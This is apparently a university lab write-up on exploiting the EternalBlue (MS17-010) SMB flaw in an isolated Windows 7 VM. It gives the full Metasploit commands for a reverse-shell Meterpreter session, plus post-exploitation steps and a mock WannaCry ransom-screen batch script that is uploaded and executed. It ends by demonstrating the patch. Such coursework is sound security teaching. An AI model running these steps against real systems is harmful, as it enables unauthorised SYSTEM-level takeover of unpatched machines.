EternalBlue Exploit Demonstration (MS17-010)

Cybersecurity lab demonstrating exploitation of CVE-2017-0144 (EternalBlue) using Metasploit against a vulnerable Windows 7 system, achieving SYSTEM-level access via Meterpreter.

This project also simulates a WannaCry-style ransomware attack (SAFE DEMO) and demonstrates mitigation using the MS17-010 security patch.

Module Information

Module: CSCM828 Security Vulnerabilities and Penetration Testing

Students:

Daniel Nicolas Rentapalli (2548048)
Ichhya Koirala (2607189)

University: Swansea University

Resources & Downloads

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
KB4012212 (Windows 7 x64 Security Update)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212%20Windows%207%20x64
Kali Linux (Virtual Machines Download)
https://www.kali.org/get-kali/#kali-virtual-machines
Windows 7 SP1 Home Premium English x64 (ISO)
https://archive.org/details/windows-7-home-prem-english
VMware Workstation Pro
https://www.vmware.com/products/desktop-hyper

1. Overview

This lab demonstrates:

Remote exploitation of SMB vulnerability (MS17-010)
Kernel-level access via EternalBlue
Meterpreter session establishment
Post-exploitation techniques
WannaCry-style ransomware simulation (safe)
Mitigation through patching

2. Lab Environment

Requirements

VMware Workstation / VirtualBox
Minimum 8GB RAM

Attacker Machine

Kali Linux
Metasploit Framework

Victim Machine

Windows 7 SP1 x64 (Unpatched)

Network

Host-only / NAT (isolated environment)
Ensure both machines can communicate

⚠️ This lab must be conducted in a fully isolated environment.

3. Victim Setup (Windows 7)

Run in Administrator Command Prompt:

Disable Firewall

netsh advfirewall set allprofiles state off

Verify SMB Port

netstat -an | findstr :445

Disable Updates (for lab stability)

sc stop wuauserv
sc config wuauserv start= disabled

4. Attacker Setup (Kali Linux)

Verify Connectivity

ping <victim-ip>
nmap -p 445 <victim-ip>

5. Exploitation Steps

Step 1: Scan Target

nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>

Expected:

Host is VULNERABLE

Step 2: Run Exploit

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <victim-ip>
set LHOST <attacker-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

Step 3: Confirm Access

meterpreter > getuid

Expected:

NT AUTHORITY\SYSTEM

6. Post-Exploitation

sysinfo
getuid
ps
screenshot
shell
whoami
ipconfig

Stable Migration

ps
migrate <explorer.exe PID>

7. WannaCry Simulation (SAFE DEMO)

Create Payload (Kali)

cat > /tmp/wannacry64.bat << 'EOF'
@echo off
title WannaCryptor Demo - SAFE SIMULATION
color 0a
mode con: cols=80 lines=25
cls

setlocal enabledelayedexpansion

set id=%random%-%random%-%random%
set /a timeleft=60

:main
cls
echo ========================================================
echo           WANNA DECRYPTOR 0.4 x64 (DEMO)
echo ========================================================
echo.
echo  All files have been encrypted!
echo.
echo  Send 0.25 BTC to:
echo  13AM4VWSEwlt4cLnoQNFfqJDwZ8m9dkVml
echo.
echo  Personal ID: %id%
echo.
echo  Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.

echo Initializing encryption...
timeout /t 2 >nul

for /l %%i in (1,1,20) do (
    set /a percent=%%i*5
    call :progress !percent!
    timeout /t 1 >nul
)

goto countdown

:progress
set bar=
set /a blocks=%1/5
for /l %%b in (1,1,!blocks!) do set bar=!bar!#
cls
echo ========================================================
echo           ENCRYPTING FILES...
echo ========================================================
echo.
echo Progress: [%bar%] %1%%
echo.

set /a randfile=%random% %% 5
if !randfile!==0 echo Encrypting: documents.docx
if !randfile!==1 echo Encrypting: photos.jpg
if !randfile!==2 echo Encrypting: database.sql
if !randfile!==3 echo Encrypting: backup.zip
if !randfile!==4 echo Encrypting: project.pptx

exit /b

:countdown
cls

:loop
cls
echo ========================================================
echo           YOUR FILES ARE ENCRYPTED
echo ========================================================
echo.
echo  Pay within the time limit or files will be lost!
echo.
echo  Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.

if !timeleft! LEQ 0 goto end

set /a timeleft-=1
timeout /t 1 >nul
goto loop

:end
cls
echo ========================================================
echo              TIME EXPIRED
echo ========================================================
echo.
echo  Your files are permanently locked.
echo.
echo  (This was a SAFE DEMO simulation)
echo.
echo ========================================================
pause
EOF

Upload & Execute

meterpreter > upload /tmp/wannacry64.bat C:\\Windows\\Temp\\wannacry64.bat
meterpreter > execute -f cmd.exe -a "/c start C:\Windows\Temp\wannacry64.bat"

8. Mitigation (Patch Demonstration)

Step 1: Download Patch

Visit: https://www.catalog.update.microsoft.com/
Search: KB4012212 Windows 7 x64
Download the .msu file

Step 2: Install Patch

wusa.exe KB4012212-x64.msu /quiet /norestart

Step 3: Restart

shutdown /r /t 0

Step 4: Verify Patch

systeminfo | findstr KB4012212

Step 5: Re-run Exploit

Expected:

Exploit fails
No Meterpreter session

Step 6: Verify with Nmap

nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>

Expected:

NOT VULNERABLE

9. Troubleshooting

Issue	Solution
Exploit fails	Check connectivity
No session	Disable firewall
Session dies	Retry exploit
No visible window	Migrate to explorer.exe

10. Ethical Considerations

This project is conducted:

On controlled lab machines only
In a fully isolated network
For educational purposes only

Unauthorized use violates:

UK Computer Misuse Act 1990

11. Conclusion

This lab demonstrates:

Real-world SMB exploitation using EternalBlue
SYSTEM-level compromise of Windows 7
Ransomware attack simulation (safe)
Importance of timely patching

Most Popular

About

EternalBlue-Exploit-Demonstration-MS17-010